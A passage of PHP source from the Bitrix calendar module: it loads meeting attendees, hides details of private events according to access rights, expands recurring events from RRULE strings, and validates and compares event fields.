					CE.ID, CE.PARENT_ID, CE.MEETING_STATUS, CE.MEETING_HOST,
					U.LOGIN, U.NAME, U.LAST_NAME, U.SECOND_NAME, U.EMAIL, U.PERSONAL_PHOTO, U.WORK_POSITION,
					BUF.UF_DEPARTMENT
				FROM
					b_calendar_event CE
					LEFT JOIN b_user U ON (U.ID=CE.OWNER_ID)
					LEFT JOIN b_uts_user BUF ON (BUF.VALUE_ID = CE.OWNER_ID)
				WHERE
					U.ACTIVE = 'Y' AND
					CE.ACTIVE = 'Y' AND
					CE.CAL_TYPE = 'user' AND
					CE.DELETED = 'N' AND
					CE.PARENT_ID in (".implode(',', $eventIdList).")";

				$res = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
				while($entry = $res->Fetch())
				{
					$parentId = $entry['PARENT_ID'];
					$attendeeId = $entry['USER_ID'];
					if(!isset($attendees[$parentId]))
					{
						$attendees[$parentId] = array();
					}
					$entry["STATUS"] = trim($entry["MEETING_STATUS"]);
					if ($parentId == $entry['ID'] || $entry['USER_ID'] == $entry['MEETING_HOST'])
					{
						$entry["STATUS"] = "H";
					}

					CCalendar::SetUserDepartment($attendeeId, (empty($entry['UF_DEPARTMENT']) ? array() : unserialize($entry['UF_DEPARTMENT'])));
					$entry['DISPLAY_NAME'] = CCalendar::GetUserName($entry);
					$entry['URL'] = CCalendar::GetUserUrl($attendeeId);
					$entry['AVATAR'] = CCalendar::GetUserAvatarSrc($entry);
					$entry['EVENT_ID'] = $entry['ID'];

					unset($entry['ID'], $entry['PARENT_ID'], $entry['MEETING_STATUS'], $entry['UF_DEPARTMENT'], $entry['EMAIL'], $entry['LOGIN']);
					$attendees[$parentId][] = $entry;
				}
			}
		}

		return $attendees;
	}

	public static function ApplyAccessRestrictions($event, $userId = false)
	{
		$sectId = $event['SECT_ID'];
		if (!$event['ACCESSIBILITY'])
			$event['ACCESSIBILITY'] = 'busy';

		$private = $event['PRIVATE_EVENT'] && $event['CAL_TYPE'] == 'user';
		$bAttendee = false;

		if (isset($event['~ATTENDEES']))
		{
			foreach($event['~ATTENDEES'] as $user)
			{
				if ($user['USER_ID'] == $userId)
					$bAttendee = true;
			}
		}

		if(!$userId)
		{
			$userId = CCalendar::GetUserId();
		}

		$settings = CCalendar::GetSettings(array('request' => false));
		$isManager = (Loader::includeModule('intranet') && $event['CAL_TYPE'] == 'user' && $settings['dep_manager_sub']) && Bitrix\Calendar\Util::isManagerForUser($userId, $event['OWNER_ID']);

		if ($event['CAL_TYPE'] == 'user' && $event['IS_MEETING'] && $event['OWNER_ID'] != $userId)
		{
			if ($bAttendee)
			{
				$sectId = CCalendar::GetMeetingSection($userId);
			}
			elseif (isset($event['USER_MEETING']['ATTENDEE_ID']) && $event['USER_MEETING']['ATTENDEE_ID'] !== $userId)
			{
				$sectId = CCalendar::GetMeetingSection($event['USER_MEETING']['ATTENDEE_ID']);
				$event['SECT_ID'] = $sectId;
				$event['OWNER_ID'] = $event['USER_MEETING']['ATTENDEE_ID'];
			}
		}

		if ($private || (!CCalendarSect::CanDo('calendar_view_full', $sectId, $userId) && !$isManager && !$bAttendee))
		{
			if ($private)
			{
				$event['NAME'] = '['.GetMessage('EC_ACCESSIBILITY_'.strtoupper($event['ACCESSIBILITY'])).']';
				if (!$isManager && !CCalendarSect::CanDo('calendar_view_time', $sectId, $userId))
					return false;
			}
			else
			{
				if (!CCalendarSect::CanDo('calendar_view_title', $sectId, $userId))
				{
					if (CCalendarSect::CanDo('calendar_view_time', $sectId, $userId))
						$event['NAME'] = '['.GetMessage('EC_ACCESSIBILITY_'.strtoupper($event['ACCESSIBILITY'])).']';
					else
						return false;
				}
				else
				{
					$event['NAME'] = $event['NAME'].' ['.GetMessage('EC_ACCESSIBILITY_'.strtoupper($event['ACCESSIBILITY'])).']';
				}
			}
			$event['~IS_MEETING'] = $event['IS_MEETING'];

			// Clear information about
			unset($event['DESCRIPTION'], $event['IS_MEETING'],$event['MEETING_HOST'],$event['MEETING'],$event['LOCATION'],$event['REMIND'],$event['USER_MEETING'],$event['~ATTENDEES'],$event['ATTENDEES_CODES']);

			foreach($event as $k => $value)
			{
				if (substr($k, 0, 3) == 'UF_')
					unset($event[$k]);
			}
		}

		return $event;
	}

	private static function PreHandleEvent($item, $params = array())
	{
		$item['LOCATION'] = trim($item['LOCATION']);

		if ($item['IS_MEETING'] && $item['MEETING'] != "" && !is_array($item['MEETING']))
		{
			$item['MEETING'] = unserialize($item['MEETING']);
			if (!is_array($item['MEETING']))
				$item['MEETING'] = array();
		}

		if (self::CheckRecurcion($item))
		{
			$item['~RRULE_DESCRIPTION'] = CCalendarEvent::GetRRULEDescription($item, false);
			$tsFrom = CCalendar::Timestamp($item['DATE_FROM']);
			$tsTo = CCalendar::Timestamp($item['DATE_TO']);
			if (($tsTo - $tsFrom) > $item['DT_LENGTH'] + CCalendar::DAY_LENGTH)
			{
				$toTS = $tsFrom + $item['DT_LENGTH'];
				if ($item['DT_SKIP_TIME'] == 'Y')
				{
					$toTS -= CCalendar::GetDayLen();
				}
				$item['DATE_TO'] = CCalendar::Date($toTS);
			}
		}

		if ($item['IS_MEETING'])
		{
			if ($item['ATTENDEES_CODES'] != '')
			{
				$item['ATTENDEES_CODES'] = explode(',', $item['ATTENDEES_CODES']);
			}

			if ($item['ID'] == $item['PARENT_ID'])
			{
				$item['MEETING_STATUS'] = 'H';
			}
		}

		if (!isset($item['~IS_MEETING']))
		{
			$item['~IS_MEETING'] = $item['IS_MEETING'];
		}

		$item['DT_SKIP_TIME'] = $item['DT_SKIP_TIME'] === 'Y' ? 'Y' : 'N';

		$item['ACCESSIBILITY'] = trim($item['ACCESSIBILITY']);
		$item['IMPORTANCE'] = trim($item['IMPORTANCE']);
		if ($item['IMPORTANCE'] == '')
			$item['IMPORTANCE'] = 'normal';
		$item['PRIVATE_EVENT'] = trim($item['PRIVATE_EVENT']);

		if ($params['parseDescription'])
		{
			if($item['PARENT_ID'])
			{
				$item['~DESCRIPTION'] = self::ParseText($item['DESCRIPTION'], $item['PARENT_ID'], $item['UF_WEBDAV_CAL_EVENT']);
			}
			else
			{
				$item['~DESCRIPTION'] = self::ParseText($item['DESCRIPTION'], $item['ID'], $item['UF_WEBDAV_CAL_EVENT']);
			}
		}

		if (isset($item['UF_CRM_CAL_EVENT']) && is_array($item['UF_CRM_CAL_EVENT']) && count($item['UF_CRM_CAL_EVENT']) == 0)
			$item['UF_CRM_CAL_EVENT'] = '';

		unset($item['SEARCHABLE_CONTENT']);
		return $item;
	}

	public static function CheckRecurcion($event)
	{
		return $event['RRULE'] != '';
	}

	public static function ParseText($text = "", $eventId = 0, $arUFWDValue = array())
	{
		if ($text != "")
		{
			if (!is_object(self::$TextParser))
			{
				self::$TextParser = new CTextParser();
				self::$TextParser->allow = array("HTML" => "N", "ANCHOR" => "Y", "BIU" => "Y", "IMG" => "Y", "QUOTE" => "Y", "CODE" => "Y", "FONT" => "Y", "LIST" => "Y", "SMILES" => "Y", "NL2BR" => "Y", "VIDEO" => "Y", "TABLE" => "Y", "CUT_ANCHOR" => "N", "ALIGN" => "Y", "USER" => "Y");
			}

			self::$TextParser->allow["USERFIELDS"] = self::__GetUFForParseText($eventId, $arUFWDValue);
			$text = self::$TextParser->convertText($text);
		}
		return $text;
	}

	public static function __GetUFForParseText($eventId = 0, $arUFWDValue = array())
	{
		if (!isset(self::$eventUFDescriptions))
		{
			global $USER_FIELD_MANAGER;
			$USER_FIELDS = $USER_FIELD_MANAGER->GetUserFields("CALENDAR_EVENT", $eventId, LANGUAGE_ID);
			$USER_FIELDS = array(
				'UF_WEBDAV_CAL_EVENT' => $USER_FIELDS['UF_WEBDAV_CAL_EVENT']
			);
			self::$eventUFDescriptions = $USER_FIELDS;
		}
		else
		{
			$USER_FIELDS = self::$eventUFDescriptions;
		}

		if (empty($arUFWDValue))
		{
			$arUFWDValue = $USER_FIELDS['UF_WEBDAV_CAL_EVENT']['VALUE'];
		}

		$USER_FIELDS['UF_WEBDAV_CAL_EVENT']['VALUE'] = $arUFWDValue;
		$USER_FIELDS['UF_WEBDAV_CAL_EVENT']['ENTITY_VALUE_ID'] = $eventId;

		return $USER_FIELDS;
	}

	public static function ParseRecursion(&$res, $event, $params = array())
	{
		$event['DT_LENGTH'] = intVal($event['DT_LENGTH']);// length in seconds
		$length = $event['DT_LENGTH'];

		$rrule = self::ParseRRULE($event['RRULE']);
		$exDate = self::GetExDate($event['EXDATE']);
		$tsFrom = CCalendar::Timestamp($event['DATE_FROM']);
		$tsTo = CCalendar::Timestamp($event['DATE_TO']);

		if (($tsTo - $tsFrom) > $event['DT_LENGTH'] + CCalendar::DAY_LENGTH)
		{
			$toTS = $tsFrom + $event['DT_LENGTH'];
			if ($event['DT_SKIP_TIME'] == 'Y')
			{
				$toTS -= CCalendar::GetDayLen();
			}
			$event['DATE_TO'] = CCalendar::Date($toTS);
		}

		$h24 = CCalendar::GetDayLen();
		$instanceCount = ($params['instanceCount'] && $params['instanceCount'] > 0) ? $params['instanceCount'] : false;
		$loadLimit = ($params['loadLimit'] && $params['loadLimit'] > 0) ? $params['loadLimit'] : false;

		$preciseLimits = $params['preciseLimits'];

		if ($length < 0) // Protection from infinite recursion
			$length = $h24;

		// Time boundaries
		if (isset($params['fromLimitTs']))
			$limitFromTS = intVal($params['fromLimitTs']);
		else if ($params['fromLimit'])
			$limitFromTS = CCalendar::Timestamp($params['fromLimit']);
		else
			$limitFromTS = CCalendar::Timestamp(CCalendar::GetMinDate());

		if (isset($params['toLimitTs']))
			$limitToTS = intVal($params['toLimitTs']);
		else if ($params['toLimit'])
			$limitToTS = CCalendar::Timestamp($params['toLimit']);
		else
			$limitToTS = CCalendar::Timestamp(CCalendar::GetMaxDate());

		$evFromTS = CCalendar::Timestamp($event['DATE_FROM']);

		$limitFromTS += $event['TZ_OFFSET_FROM'];
		$limitToTS += $event['TZ_OFFSET_TO'];
		$limitToTS += CCalendar::GetDayLen();
		$limitFromTSReal = $limitFromTS;

		if ($limitFromTS < $event['DATE_FROM_TS_UTC'])
			$limitFromTS = $event['DATE_FROM_TS_UTC'];
		if ($limitToTS > $event['DATE_TO_TS_UTC'])
			$limitToTS = $event['DATE_TO_TS_UTC'];

		$skipTime = $event['DT_SKIP_TIME'] === 'Y';
		$fromTS = $evFromTS;

		if ($skipTime)
		{
			$event['~DATE_FROM'] = CCalendar::Date(CCalendar::Timestamp($event['DATE_FROM']), false);
			$event['~DATE_TO'] = CCalendar::Date(CCalendar::Timestamp($event['DATE_TO']), false);
		}
		else
		{
			$event['~DATE_FROM'] = $event['DATE_FROM'];
			$event['~DATE_TO'] = $event['DATE_TO'];
		}

		$hour = date("H", $fromTS);
		$min = date("i", $fromTS);
		$sec = date("s", $fromTS);

		$orig_d = date("d", $fromTS);
		$orig_m = date("m", $fromTS);
		$orig_y = date("Y", $fromTS);

		$count = 0;
		$realCount = 0;
		$dispCount = 0;

		while(true)
		{
			$d = date("d", $fromTS);
			$m = date("m", $fromTS);
			$y = date("Y", $fromTS);
			$toTS = mktime($hour, $min, $sec + $length, $m, $d, $y);

			if (
				(!$fromTS || $fromTS < $evFromTS - CCalendar::GetDayLen()) // Emergensy exit (mantis: 56981)
				|| ($rrule['COUNT'] > 0 && $realCount >= $rrule['COUNT'])
				|| (!$rrule['COUNT'] && $fromTS >= $limitToTS)
				|| ($instanceCount && $dispCount >= $instanceCount)
				|| ($loadLimit && $dispCount >= $loadLimit)
			)
			{
				break;
			}

			// Common handling
			$event['DATE_FROM'] = CCalendar::Date($fromTS, !$skipTime, false);
			$event['RRULE'] = $rrule;
			$event['RINDEX'] = $realCount;
			$exclude = false;

			if (count($exDate) > 0)
			{
				$fromDate = CCalendar::Date($fromTS, false);
				$exclude = in_array($fromDate, $exDate);
			}

			if ($rrule['FREQ'] == 'WEEKLY')
			{
				$weekDay = CCalendar::WeekDayByInd(date("w", $fromTS));

				if ($rrule['BYDAY'][$weekDay])
				{
					if (($preciseLimits && $toTS >= $limitFromTSReal) || (!$preciseLimits && $toTS > $limitFromTS - $h24))
					{
						if ($event['DT_SKIP_TIME'] == 'Y')
						{
							$toTS -= CCalendar::GetDayLen();
						}
						$event['DATE_TO'] = CCalendar::Date($toTS - ($event['TZ_OFFSET_FROM'] - $event['TZ_OFFSET_TO']), !$skipTime, false);

						if (!$exclude)
						{
							self::HandleEvent($res, $event);
							$dispCount++;
						}
					}
					$realCount++;
				}

				if (isset($weekDay) && $weekDay == 'SU')
					$delta = ($rrule['INTERVAL'] - 1) * 7 + 1;
				else
					$delta = 1;

				$fromTS = mktime($hour, $min, $sec, $m, $d + $delta, $y);
			}
			else // HOURLY, DAILY, MONTHLY, YEARLY
			{
				if ($event['DT_SKIP_TIME'] == 'Y')
				{
					$toTS -= CCalendar::GetDayLen();
				}

				if (($preciseLimits && $toTS >= $limitFromTSReal) ||
					(!$preciseLimits && $toTS > $limitFromTS - $h24))
				{
					$event['DATE_TO'] = CCalendar::Date($toTS - ($event['TZ_OFFSET_FROM'] - $event['TZ_OFFSET_TO']), !$skipTime, false);
					//$event['DATE_TO'] = CCalendar::Date($toTS, !$skipTime, false);
					if (!$exclude)
					{
						self::HandleEvent($res, $event);
						$dispCount++;
					}
				}
				$realCount++;
				switch ($rrule['FREQ'])
				{
					case 'DAILY':
						$fromTS = mktime($hour, $min, $sec, $m, $d + $rrule['INTERVAL'], $y);
						break;
					case 'MONTHLY':
						$durOffset = $realCount * $rrule['INTERVAL'];

						$day = $orig_d;
						$month = $orig_m + $durOffset;
						$year = $orig_y;

						if ($month > 12)
						{
							$delta_y = floor($month / 12);
							$delta_m = $month - $delta_y * 12;

							$month = $delta_m;
							$year = $orig_y + $delta_y;
						}

						// 1. Check only for 29-31 dates. 2.We are out of range in this month
						if ($orig_d > 28 && $orig_d > date("t", mktime($hour, $min, $sec, $month, 1, $year)))
						{
							$month++;
							$day = 1;
						}

						$fromTS = mktime($hour, $min, $sec, $month, $day, $year);
						break;
					case 'YEARLY':
						$fromTS = mktime($hour, $min, $sec, $orig_m, $orig_d, $y + $rrule['INTERVAL']);
						break;
				}
			}
			$count++;
		}
	}

	public static function ParseRRULE($rule = '')
	{
		$res = array();
		if (!$rule || $rule === '')
			return $res;
		if (is_array($rule))
			return isset($rule['FREQ']) ? $rule : $res;

		$arRule = explode(";", $rule);
		if (!is_array($arRule))
			return $res;
		foreach($arRule as $par)
		{
			$arPar = explode("=", $par);
			if ($arPar[0])
			{
				switch($arPar[0])
				{
					case 'FREQ':
						if (in_array($arPar[1], array('HOURLY', 'DAILY', 'WEEKLY', 'MONTHLY', 'YEARLY')))
							$res['FREQ'] = $arPar[1];
						break;
					case 'COUNT':
					case 'INTERVAL':
						if (intVal($arPar[1]) > 0)
							$res[$arPar[0]] = intVal($arPar[1]);
						break;
					case 'UNTIL':
						$res['UNTIL'] = CCalendar::Timestamp($arPar[1]) ? $arPar[1] : CCalendar::Date(intVal($arPar[1]), false, false);
						break;
					case 'BYDAY':
						$res[$arPar[0]] = array();
						foreach(explode(',', $arPar[1]) as $day)
						{
							$matches = array();
							if (preg_match('/((\-|\+)?\d+)?(MO|TU|WE|TH|FR|SA|SU)/', $day, $matches))
								$res[$arPar[0]][$matches[3]] = $matches[1] == '' ? $matches[3] : $matches[1];
						}
						if (count($res[$arPar[0]]) == 0)
							unset($res[$arPar[0]]);
						break;
					case 'BYMONTHDAY':
						$res[$arPar[0]] = array();
						foreach(explode(',', $arPar[1]) as $day)
							if (abs($day) > 0 && abs($day) <= 31)
								$res[$arPar[0]][intVal($day)] = intVal($day);
						if (count($res[$arPar[0]]) == 0)
							unset($res[$arPar[0]]);
						break;
					case 'BYYEARDAY':
					case 'BYSETPOS':
						$res[$arPar[0]] = array();
						foreach(explode(',', $arPar[1]) as $day)
							if (abs($day) > 0 && abs($day) <= 366)
								$res[$arPar[0]][intVal($day)] = intVal($day);
						if (count($res[$arPar[0]]) == 0)
							unset($res[$arPar[0]]);
						break;
					case 'BYWEEKNO':
						$res[$arPar[0]] = array();
						foreach(explode(',', $arPar[1]) as $day)
							if (abs($day) > 0 && abs($day) <= 53)
								$res[$arPar[0]][intVal($day)] = intVal($day);
						if (count($res[$arPar[0]]) == 0)
							unset($res[$arPar[0]]);
						break;
					case 'BYMONTH':
						$res[$arPar[0]] = array();
						foreach(explode(',', $arPar[1]) as $m)
							if ($m > 0 && $m <= 12)
								$res[$arPar[0]][intVal($m)] = intVal($m);
						if (count($res[$arPar[0]]) == 0)
							unset($res[$arPar[0]]);
						break;
				}
			}
		}

		if ($res['FREQ'] == 'WEEKLY' && (!isset($res['BYDAY']) || !is_array($res['BYDAY']) || count($res['BYDAY']) == 0))
			$res['BYDAY'] = array('MO' => 'MO');

		if ($res['FREQ'] != 'WEEKLY' && isset($res['BYDAY']))
			unset($res['BYDAY']);

		$res['INTERVAL'] = intVal($res['INTERVAL']);
		if ($res['INTERVAL'] <= 1)
			$res['INTERVAL'] = 1;

		$res['~UNTIL'] = $res['UNTIL'];
		if ($res['UNTIL'] == CCalendar::GetMaxDate())
		{
			$res['~UNTIL'] = '';
		}
		return $res;
	}

	public static function GetExDate($exDate = '')
	{
		if (!is_array($exDate))
			$exDate = $exDate == '' ? array() : explode(';', $exDate);
		return $exDate;
	}

	private static function HandleEvent(&$res, $item = array())
	{
		$userId = CCalendar::GetCurUserId();

		$item['~USER_OFFSET_FROM'] = $item['~USER_OFFSET_TO'] = CCalendar::GetTimezoneOffset($item['TZ_FROM']) - CCalendar::GetCurrentOffsetUTC($userId);
		if ($item['TZ_FROM'] !== $item['TZ_TO'])
			$item['~USER_OFFSET_TO'] = CCalendar::GetTimezoneOffset($item['TZ_TO']) - CCalendar::GetCurrentOffsetUTC($userId);

		$res[] = $item;
	}

	public static function CheckFields(&$arFields, $currentEvent = array(), $userId = false)
	{
		if (!isset($arFields['TIMESTAMP_X']))
			$arFields['TIMESTAMP_X'] = CCalendar::Date(mktime(), true, false);

		if (!$userId)
			$userId = CCalendar::GetCurUserId();

		if (!isset($arFields['DT_SKIP_TIME']) && isset($currentEvent['DT_SKIP_TIME']))
		{
			$arFields['DT_SKIP_TIME'] = $currentEvent['DT_SKIP_TIME'];
		}
		if (!isset($arFields['DATE_FROM']) && isset($currentEvent['DATE_FROM']))
		{
			$arFields['DATE_FROM'] = $currentEvent['DATE_FROM'];
		}
		if (!isset($arFields['DATE_TO']) && isset($currentEvent['DATE_TO']))
		{
			$arFields['DATE_TO'] = $currentEvent['DATE_TO'];
		}

		$isNewEvent = !isset($arFields['ID']) || $arFields['ID'] <= 0;
		if (!isset($arFields['DATE_CREATE']) && $isNewEvent)
		{
			$arFields['DATE_CREATE'] = $arFields['TIMESTAMP_X'];
		}

		// Skip time
		if (isset($arFields['SKIP_TIME']))
		{
			$arFields['DT_SKIP_TIME'] = $arFields['SKIP_TIME'] ? 'Y' : 'N';
			unset($arFields['SKIP_TIME']);
		}
		elseif(isset($arFields['DT_SKIP_TIME']) && $arFields['DT_SKIP_TIME'] != 'Y' && $arFields['DT_SKIP_TIME'] != 'N')
		{
			unset($arFields['DT_SKIP_TIME']);
		}

		unset($arFields['DT_FROM']);
		unset($arFields['DT_TO']);

		$arFields['DT_SKIP_TIME'] = $arFields['DT_SKIP_TIME'] !== 'Y' ? 'N' : 'Y';
		$fromTs = CCalendar::Timestamp($arFields['DATE_FROM'], false, $arFields['DT_SKIP_TIME'] !== 'Y');
		$toTs = CCalendar::Timestamp($arFields['DATE_TO'], false, $arFields['DT_SKIP_TIME'] !== 'Y');

		$arFields['DATE_FROM'] = CCalendar::Date($fromTs);
		$arFields['DATE_TO'] = CCalendar::Date($toTs);

		if (!$fromTs)
		{
			$arFields['DATE_FROM'] = FormatDate("SHORT", time());
			$fromTs = CCalendar::Timestamp($arFields['DATE_FROM'], false, false);
			if (!$toTs)
			{
				$arFields['DATE_TO'] = $arFields['DATE_FROM'];
				$toTs = $fromTs;
				$arFields['DT_SKIP_TIME'] = 'Y';
			}
		}
		elseif (!$toTs)
		{
			$arFields['DATE_TO'] = $arFields['DATE_FROM'];
			$toTs = $fromTs;
		}

		if ($arFields['DT_SKIP_TIME'] !== 'Y')
		{
			$arFields['DT_SKIP_TIME'] = 'N';
			if (!isset($arFields['TZ_FROM']) && isset($currentEvent['TZ_FROM']))
			{
				$arFields['TZ_FROM'] = $currentEvent['TZ_FROM'];
			}
			if (!isset($arFields['TZ_TO']) && isset($currentEvent['TZ_TO']))
			{
				$arFields['TZ_TO'] = $currentEvent['TZ_TO'];
			}

			if (!isset($arFields['TZ_FROM']) && !isset($arFields['TZ_TO']))
			{
				$userTimezoneOffsetUTC = CCalendar::GetCurrentOffsetUTC($userId);
				$userTimezoneName = CCalendar::GetUserTimezoneName($userId, true);

				$arFields['TZ_FROM'] = $userTimezoneName;
				$arFields['TZ_TO'] = $userTimezoneName;
			}

			if (!isset($arFields['TZ_OFFSET_FROM']))
			{
				$arFields['TZ_OFFSET_FROM'] = CCalendar::GetTimezoneOffset($arFields['TZ_FROM'], $fromTs);
			}
			if (!isset($arFields['TZ_OFFSET_TO']))
			{
				$arFields['TZ_OFFSET_TO'] = CCalendar::GetTimezoneOffset($arFields['TZ_TO'], $toTs);
			}
		}

		if (!isset($arFields['TZ_OFFSET_FROM']))
		{
			$arFields['TZ_OFFSET_FROM'] = 0;
		}
		if (!isset($arFields['TZ_OFFSET_TO']))
		{
			$arFields['TZ_OFFSET_TO'] = 0;
		}

		if (!isset($arFields['DATE_FROM_TS_UTC']))
		{
			$arFields['DATE_FROM_TS_UTC'] = $fromTs - $arFields['TZ_OFFSET_FROM'];
		}
		if (!isset($arFields['DATE_TO_TS_UTC']))
		{
			$arFields['DATE_TO_TS_UTC'] = $toTs - $arFields['TZ_OFFSET_TO'];
		}

		if ($arFields['DATE_FROM_TS_UTC'] > $arFields['DATE_TO_TS_UTC'])
		{
			$arFields['DATE_TO'] = $arFields['DATE_FROM'];
			$arFields['DATE_TO_TS_UTC'] = $arFields['DATE_FROM_TS_UTC'];
			$arFields['TZ_OFFSET_TO'] = $arFields['TZ_OFFSET_FROM'];
			$arFields['TZ_TO'] = $arFields['TZ_FROM'];
		}

		$h24 = 60 * 60 * 24; // 24 hours
		if ($arFields['DT_SKIP_TIME'] == 'Y')
		{
			unset($arFields['TZ_FROM']);
			unset($arFields['TZ_TO']);
			unset($arFields['TZ_OFFSET_FROM']);
			unset($arFields['TZ_OFFSET_TO']);
		}

		// Event length in seconds
		if (!isset($arFields['DT_LENGTH']) || $arFields['DT_LENGTH'] == 0)
		{
			if($fromTs == $toTs && date('H:i', $fromTs) == '00:00' && $arFields['DT_SKIP_TIME'] == 'Y') // One day
			{
				$arFields['DT_LENGTH'] = $h24;
			}
			else
			{
				$arFields['DT_LENGTH'] = intVal($arFields['DATE_TO_TS_UTC'] - $arFields['DATE_FROM_TS_UTC']);
				if ($arFields['DT_SKIP_TIME'] == "Y") // We have dates without times
				{
					$arFields['DT_LENGTH'] += $h24;
				}
			}
		}

		if (!$arFields['VERSION'])
			$arFields['VERSION'] = 1;

		// Accessibility
		$arFields['ACCESSIBILITY'] = trim(strtolower($arFields['ACCESSIBILITY']));
		if (!in_array($arFields['ACCESSIBILITY'], array('busy', 'quest', 'free', 'absent')))
			$arFields['ACCESSIBILITY'] = 'busy';

		// Importance
		$arFields['IMPORTANCE'] = trim(strtolower($arFields['IMPORTANCE']));
		if (!in_array($arFields['IMPORTANCE'], array('high', 'normal', 'low')))
			$arFields['IMPORTANCE'] = 'normal';

		// Color
		$arFields['COLOR'] = CCalendar::Color($arFields['COLOR'], false);

		// Section
		if (!is_array($arFields['SECTIONS']) && intVal($arFields['SECTIONS']) > 0)
			$arFields['SECTIONS'] = array(intVal($arFields['SECTIONS']));

		// Check rrules
		if (is_array($arFields['RRULE']) && isset($arFields['RRULE']['FREQ']) && in_array($arFields['RRULE']['FREQ'], array('HOURLY','DAILY','MONTHLY','YEARLY','WEEKLY')))
		{
			// Interval
			if (isset($arFields['RRULE']['INTERVAL']) && intval($arFields['RRULE']['INTERVAL']) > 1)
				$arFields['RRULE']['INTERVAL'] = intval($arFields['RRULE']['INTERVAL']);

			// Until date
			$untilTs = CCalendar::Timestamp($arFields['RRULE']['UNTIL'], false, false);
			if (!$untilTs)
			{
				$arFields['RRULE']['UNTIL'] = CCalendar::GetMaxDate();
				$untilTs = CCalendar::Timestamp($arFields['RRULE']['UNTIL'], false, false);
			}
			$arFields['DATE_TO_TS_UTC'] = $untilTs + CCalendar::GetDayLen();
			$arFields['RRULE']['UNTIL'] = CCalendar::Date($untilTs, false);

			if (isset($arFields['RRULE']['COUNT']))
				$arFields['RRULE']['COUNT'] = intval($arFields['RRULE']['COUNT']);

			if (isset($arFields['RRULE']['BYDAY']))
			{
				if (is_array($arFields['RRULE']['BYDAY']))
				{
					$BYDAY = $arFields['RRULE']['BYDAY'];
				}
				else
				{
					$BYDAY = array();
					$days = array('SU','MO','TU','WE','TH','FR','SA');
					$bydays = explode(',', $arFields['RRULE']['BYDAY']);
					foreach($bydays as $day)
					{
						$day = strtoupper($day);
						if (in_array($day, $days))
							$BYDAY[] = $day;
					}
				}
				$arFields['RRULE']['BYDAY'] = implode(',',$BYDAY);
			}
			unset($arFields['RRULE']['~UNTIL']);

			if (isset($arFields["EXDATE"]))
				$excludeDates = self::GetExDate($arFields["EXDATE"]);
			else
				$excludeDates = self::GetExDate($currentEvent['EXDATE']);

			if (!empty($excludeDates) && $untilTs)
			{
				$arFields["EXDATE"] = self::SetExDate($excludeDates, $untilTs);
			}

			$arFields['RRULE'] = self::PackRRule($arFields['RRULE']);
		}
		else
		{
			$arFields['RRULE'] = '';
			$arFields['EXDATE'] = '';
		}

		// Location
		if (!is_array($arFields['LOCATION']))
			$arFields['LOCATION'] = Array("NEW" => is_string($arFields['LOCATION']) ? $arFields['LOCATION'] : "");

		// Private
		$arFields['PRIVATE_EVENT'] = isset($arFields['PRIVATE_EVENT']) && $arFields['PRIVATE_EVENT'];

		//$arFields['SEARCHABLE_CONTENT'] = self::formatSearchIndexContent($arFields);

		return true;
	}

	public static function CheckSignificantChangesFields($newFields = array(), $currentFields = array())
	{
		$significantChanges = false;
		$significantFieldList = array(
			'DATE_FROM',
			'DATE_TO',
			'RRULE',
			'EXDATE',
			'NAME',
			'DESCRIPTION',
			'LOCATION'
		);

		foreach ($significantFieldList as $fieldKey)
		{
			if ($newFields[$fieldKey] !== $currentFields[$fieldKey] && $fieldKey != 'LOCATION')
			{
				$significantChanges = true;
				break;
			}
			else if ($fieldKey == 'LOCATION' && $newFields['LOCATION']['NEW'] != $currentFields[$fieldKey])
			{
				$significantChanges = true;
				break;
			}
		}

		return $significantChanges;
	}

	public static function CheckEntryChanges($newFields = array(), $currentFields = array())
	{
		$changes = [];

		$fieldList = [
			'NAME',
			'DATE_FROM',
			'DATE_TO',
			'RRULE',
			'EXDATE',
			'DESCRIPTION',
			'LOCATION',
			'IMPORTANCE'
		];

		//$changes[] = ['fieldKey' => 'NAME', 'oldValue' => $currentFields['NAME'], 'newValue' => $newFields['NAME']];
		foreach ($fieldList as $fieldKey)
		{
			if ($fieldKey == 'LOCATION')
			{
				if (is_array($newFields[$fieldKey]) && $newFields[$fieldKey]['NEW'] != $currentFields[$fieldKey])
				{
					$changes[] = [
						'fieldKey' => $fieldKey,
						'oldValue' => $currentFields[$fieldKey],
						'newValue' => $newFields[$fieldKey]['NEW']
					];
				}
				else if (!is_array($newFields[$fieldKey]) && $newFields[$fieldKey] != $currentFields[$fieldKey])
				{
					$changes[] = [
						'fieldKey' => $fieldKey,
						'oldValue' => $currentFields[$fieldKey],
						'newValue' => $newFields[$fieldKey]
					];
				}
			}
			else if ($fieldKey == 'DATE_FROM')
			{
				if (($newFields[$fieldKey] !== $currentFields[$fieldKey] || $newFields['TZ_FROM'] !== $currentFields['TZ_FROM']))
				{
					$changes[] = [
						'fieldKey' => $fieldKey,
						'oldValue' => $currentFields[$fieldKey],
						'newValue' => $newFields[$fieldKey]
					];
				}
			}
			else if ($fieldKey == 'DATE_TO')
			{
				if (
					($newFields['DATE_FROM'] === $currentFields['DATE_FROM'] && $newFields['TZ_FROM'] === $currentFields['TZ_FROM'])
					&&
					($newFields[$fieldKey] !== $currentFields[$fieldKey] || $newFields['TZ_TO'] !== $currentFields['TZ_TO'])
				)
				{
					$changes[] = [
						'fieldKey' => $fieldKey,
						'oldValue' => $currentFields[$fieldKey],
						'newValue' => $newFields[$fieldKey]
					];
				}
			}
			else if ($fieldKey == 'IMPORTANCE')
			{
				if ($newFields[$fieldKey] != $currentFields[$fieldKey] && $newFields[$fieldKey] == 'high')
				{
					$changes[] = [
						'fieldKey' => $fieldKey,
						'oldValue' => $currentFields[$fieldKey],
						'newValue' => $newFields[$fieldKey]
					];
				}
			}
			else if ($fieldKey == 'DESCRIPTION')
			{
				if (strtolower(trim($newFields[$fieldKey])) != strtolower(trim($currentFields[$fieldKey])))
				{
					$changes[] = [
						'fieldKey' => $fieldKey,
						'oldValue' => $currentFields[$fieldKey],
						'newValue' => $newFields[$fieldKey]
					];
				}
			}
			else if ($newFields[$fieldKey] !== $currentFields[$fieldKey])
			{
				$changes[] = [
					'fieldKey' => $fieldKey,
					'oldValue' => $currentFields[$fieldKey],
					'newValue' => $newFields[$fieldKey]
				];
			}
		}

		if (is_array($newFields['ATTENDEES_CODES']) && is_array($currentFields['ATTENDEES_CODES'])
			&& count(array_diff($newFields['ATTENDEES_CODES'], $currentFields['ATTENDEES_CODES'])))
		{
			$changes[] = [
				'fieldKey' => 'ATTENDEES',
				'oldValue' => $currentFields['ATTENDEES_CODES'],
